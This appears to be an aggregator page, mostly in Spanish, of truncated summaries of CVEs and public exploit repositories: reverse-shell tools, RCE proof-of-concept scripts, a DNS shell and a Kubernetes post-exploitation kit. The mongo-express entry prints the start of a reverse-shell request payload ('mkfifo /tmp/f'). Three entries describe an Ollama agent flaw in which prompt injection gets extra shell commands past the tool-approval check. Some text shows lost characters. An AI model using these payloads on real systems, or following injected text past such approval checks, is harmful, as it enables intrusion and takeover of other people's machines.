CVE-2021-42561

CVE-2021-42561: Inyección de comandos a través del plugin Human en MITRE Caldera En Caldera versiones =2.8.1 el plugin Human pasa el parámetro name sin sanear a una función "os.system" de Python. Esto permite a los atacantes utilizar metacaracteres de shell por ejemplo, comillas invertidas "" o...

CVE-2022-20818

CVE-2022-20818: Escalada de privilegios local mediante lectura parcial de archivos en Cisco SD-WAN La función “config - load” del shell SSH de Viptela utiliza “wget” para obtener archivos “command” remotos a través de FTP. Al alojar un servidor FTP malicioso y reemplazar los archivos locales...

SenselessViolence

SenselessViolence CVE-2022-31814 pfSense pfBlockerNG = 2.1.426 Kit de explotación. ¿Qué? Este es un kit de explotación para la inyección remota de comandos en los plugins pfSense pfBlockerNG = 2.1.426 descubierta por IHTeam. Escribí esto para jugar con algunos de los principios de diseño...

CVE-2026-102697

Ollama versions 0.14.0 before 0.31.2 are vulnerable to an incorrect authorization flaw within the experimental agent mode Bash tool approval mechanism . The root cause is a failure to properly parse shell syntax, which allows attackers to bypass session approval requirements. By using prompt inje...

CVE-2026-102697 Ollama 0.14.0 before 0.31.2 Experimental Agent Bash Approval Bypass via Prefix-Based Authorization

Ollama versions 0.14.0 before 0.31.2 contain an incorrect authorization vulnerability in the experimental agent mode Bash tool approval mechanism that fails to properly parse shell syntax. Attackers who can influence model output through prompt injection can execute additional shell commands by...

EUVD-2026-89089

Ollama versions 0.14.0 before 0.31.2 contain an incorrect authorization vulnerability in the experimental agent mode Bash tool approval mechanism that fails to properly parse shell syntax. Attackers who can influence model output through prompt injection can execute additional shell commands by...

CVE-2018-1207-better

Exploit PoC para CVE-2018-1207: Dell iDRAC7/iDRAC8 RCE Reverse Shell Este repositorio contiene un script de prueba de concepto en Python para demostrar una vulnerabilidad de ejecución remota de código presente en dispositivos iDRAC7 e iDRAC8 con versiones de firmware 2.52.52.52 e inferiores. Este...

cve-2019-2215

CVE-2019-2215 Temproot para Pixel 2 y Pixel 2 XL mediante CVE-2019-2215 Basado en una prueba de concepto de Jann Horn y Maddie Stone de Google Project Zero Resumen Demostración de un ataque de escalada de privilegios de solo lectura/escritura en memoria del kernel que resulta en un shell root...

DNS-Shell

DNS-shell DNS-Shell es un Shell interactivo a través del canal DNS. El servidor está basado en Python y puede ejecutarse en cualquier sistema operativo que tenga Python instalado, el payload es un comando de PowerShell codificado. Entendiendo DNS-Shell El payload se genera cuando se invoca el...

CVE-2024-10914-Exploit

Herramienta de Explotación SilverX 📌 Descripción SilverX Exploit Tool es un script de pruebas de penetración diseñado para detectar y explotar vulnerabilidades en aplicaciones web. Proporciona una interfaz tipo shell para ejecutar comandos de forma remota en sistemas vulnerables. ⚠️ Aviso Legal...

CVE-2023-38646

Metabase Pre Authentication RCE CVE-2023-38646 Hemos proporcionado dos archivos:- CVE-2023-38646-POC.py para comprobar si alguna instancia de Metabase está filtrando el setup-token. CVE-2023-38646-Reverse-Shell.py para obtener una reverse shell en la máquina controlada por el atacante...

CVE-2019-10758

CVE-2019-10758 mongo-express ejecución remota de código, el código del shell inverso es el siguiente: CUERPO DE LA SOLICITUD 1: document=this.constructor.constructor"return process".mainModule.require"childprocess".execSync"mkfifo /tmp/f" CUERPO DE LA SOLICITUD 2:...

cve-2017-2824-reverse-shell

Este repositorio no tiene un README...

PwnLnX

PwnLnX Una avanzada multi-hilo , multi-cliente reverse shell en Python para hackear sistemas Linux. Todavía hay más trabajo por hacer, así que siéntete libre de ayudar con el desarrollo. Descargo de responsabilidad : Esta reverse shell solo debe utilizarse en la administración legal y autorizada ...

serverless-prey

Puma Security Serverless Prey Serverless Prey es una colección de funciones serverless FaaS que, una vez lanzadas a un entorno en la nube e invocadas, establecen un TCP reverse shell, permitiendo al usuario inspeccionar el contenedor subyacente: Panther: AWS Lambda escrito en Node.js Cougar:...

CVE-2020-0688

CVE-2020-0688 Exploit PoC funcional CVE-2020-0688 - Reverse Bind Shell Probado con Python2.7 Para instalar: pip install -r requirements.txt Para ejecutar: python CVE-2020-0688-POC.py 10.16.1.24 -lhost 10.1.1.1 -lport 4444...

vsftpd-234-backdoor

Exploit de Puerta Trasera vsftpd 2.3.4 Un pequeño exploit en Python 3 sin dependencias para la puerta trasera de vsftpd 2.3.4 CVE-2011-2523. Activa la puerta trasera a través de FTP y te lleva a un shell interactivo de root en el listener generado. Escrito como un reemplazo moderno para scripts d...

React2Shell_Exploit

React2ShellExploit CVE-2025-55182 He creado un exploit simple en Python para react2shell CVE-2025-55182 USO 1. Guarda el script: Guarda el código anterior como exploit.py. 2. Actualiza los hosts: Asegúrate de que reactor.htb se resuelva a la IP objetivo en tu archivo /etc/hosts. echo " reactor.ht...

CVE-2023-33381-MitraStar-GPT-2741GNAC

CVE-2023-33381-MitraStar-GPT-2741GNAC CVE-2023-33381: Inyección de comandos del sistema operativo en MitraStar GPT-2741GNAC Dispositivo: GPT-2741GNAC Versión de firmware: ARg5.8110WVN0b72 Descripción de la vulnerabilidad: Al iniciar sesión por SSH, noté inmediatamente el conjunto limitado de...

k0otkit

k0otkit - Manipula K8s de manera K8s Introducción k0otkit es una técnica universal de post-penetración que puede utilizarse en penetraciones contra clústeres de Kubernetes. Con k0otkit, puedes manipular todos los nodos del clúster Kubernetes objetivo de forma rápida, encubierta y continua reverse...